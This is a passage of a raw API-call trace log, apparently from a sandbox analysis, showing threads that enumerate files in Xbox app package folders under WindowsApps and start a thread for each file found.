	[0089.946] wcscat (in: _Dest=0x47eae98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0089.946] wcscat (in: _Dest=0x47eae98, _Source="XboxIdp.Native.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\XboxIdp.Native.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\XboxIdp.Native.winmd"
	[0089.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eae98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2074
	[0089.946] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b884fd9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b8ab237, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b8ab237, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxIdp.Tasks.winmd", cAlternateFileName="")) returned 1
	[0089.946] wcscmp (_String1="XboxIdp.Tasks.winmd", _String2=".") returned 1
	[0089.946] wcscmp (_String1="XboxIdp.Tasks.winmd", _String2="..") returned 1
	[0089.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eacb8
	[0089.946] wcscpy (in: _Dest=0x47eacb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0089.946] wcscat (in: _Dest=0x47eacb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0089.946] wcscat (in: _Dest=0x47eacb8, _Source="XboxIdp.Tasks.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\XboxIdp.Tasks.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\XboxIdp.Tasks.winmd"
	[0089.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eacb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2078
	[0089.947] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b884fd9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b8ab237, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b8ab237, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxIdp.Tasks.winmd", cAlternateFileName="")) returned 0
	[0089.947] FindClose (in: hFindFile=0x46a7c98 | out: hFindFile=0x46a7c98) returned 1
	[0089.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030a40) returned 1
	[0089.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49251f8) returned 1
	[0089.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fd80) returned 1

Thread:
	id = 1055
	os_tid = 0x1cec

	[0082.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a6460
	[0082.722] wcscpy (in: _Dest=0x46a6460, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe"
	[0082.722] wcscat (in: _Dest=0x46a6460, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.722] wcscat (in: _Dest=0x46a6460, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030ca8
	[0082.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b373fc2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6765034, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6765034, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7cd8
	[0082.725] wcscmp (_String1=".", _String2=".") returned 0
	[0082.725] FindNextFileW (in: hFindFile=0x46a7cd8, lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b373fc2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6765034, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6765034, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.725] wcscmp (_String1="..", _String2=".") returned 1
	[0082.725] wcscmp (_String1="..", _String2="..") returned 0
	[0082.725] FindNextFileW (in: hFindFile=0x46a7cd8, lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b53dc04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b563e5d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b563e5d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.725] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.725] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x2d89f18
	[0082.725] wcscpy (in: _Dest=0x2d89f18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe"
	[0082.725] wcscat (in: _Dest=0x2d89f18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.725] wcscat (in: _Dest=0x2d89f18, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1678
	[0089.935] FindNextFileW (in: hFindFile=0x46a7cd8, lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b373fc2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb47e5156, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7b373fc2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.935] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.935] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb438
	[0089.936] wcscpy (in: _Dest=0x47eb438, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe"
	[0089.936] wcscat (in: _Dest=0x47eb438, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.936] wcscat (in: _Dest=0x47eb438, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0089.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47eb438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2050
	[0089.936] FindNextFileW (in: hFindFile=0x46a7cd8, lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b563e5d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b563e5d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b563e5d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.936] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.936] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752ef8
	[0089.936] wcscpy (in: _Dest=0x4752ef8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe"
	[0089.936] wcscat (in: _Dest=0x4752ef8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.936] wcscat (in: _Dest=0x4752ef8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2054
	[0089.937] FindNextFileW (in: hFindFile=0x46a7cd8, lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6765034, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb47e59a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6765034, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.937] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.937] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.937] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10c) returned 0x2dc3c58
	[0089.937] wcscpy (in: _Dest=0x2dc3c58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe"
	[0089.937] wcscat (in: _Dest=0x2dc3c58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.937] wcscat (in: _Dest=0x2dc3c58, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dc3c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2058
	[0089.938] FindNextFileW (in: hFindFile=0x46a7cd8, lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6765034, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb47e59a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6765034, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0089.938] FindClose (in: hFindFile=0x46a7cd8 | out: hFindFile=0x46a7cd8) returned 1
	[0089.939] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030ca8) returned 1
	[0089.939] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a6460) returned 1
	[0089.939] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea610) returned 1

Thread:
	id = 1056
	os_tid = 0x1cf0

	[0082.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ebbb8
	[0082.725] wcscpy (in: _Dest=0x47ebbb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.725] wcscat (in: _Dest=0x47ebbb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.725] wcscat (in: _Dest=0x47ebbb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0082.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f230
	[0082.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dcfe45d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74a814e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x74a814e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7d18
	[0082.726] wcscmp (_String1=".", _String2=".") returned 0
	[0082.726] FindNextFileW (in: hFindFile=0x46a7d18, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dcfe45d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74a814e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x74a814e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.726] wcscmp (_String1="..", _String2=".") returned 1
	[0082.726] wcscmp (_String1="..", _String2="..") returned 0
	[0082.726] FindNextFileW (in: hFindFile=0x46a7d18, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dd24650, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dd24650, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dd24650, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.726] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.726] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x4716f40
	[0082.726] wcscpy (in: _Dest=0x4716f40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.726] wcscat (in: _Dest=0x4716f40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.726] wcscat (in: _Dest=0x4716f40, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4716f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x167c
	[0089.929] FindNextFileW (in: hFindFile=0x46a7d18, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dcfe45d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dd24650, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dd24650, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.929] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.929] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500b838
	[0089.929] wcscpy (in: _Dest=0x500b838, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.929] wcscat (in: _Dest=0x500b838, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.929] wcscat (in: _Dest=0x500b838, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500b838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x203c
	[0089.930] FindNextFileW (in: hFindFile=0x46a7d18, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dd24650, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dd4a88d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dd4a88d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.930] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.930] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.930] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x500b950
	[0089.930] wcscpy (in: _Dest=0x500b950, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.930] wcscat (in: _Dest=0x500b950, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.930] wcscat (in: _Dest=0x500b950, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500b950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2040
	[0089.931] FindNextFileW (in: hFindFile=0x46a7d18, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dd4a88d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb48b760b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6dd96d60, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0089.931] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.931] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x2d89948
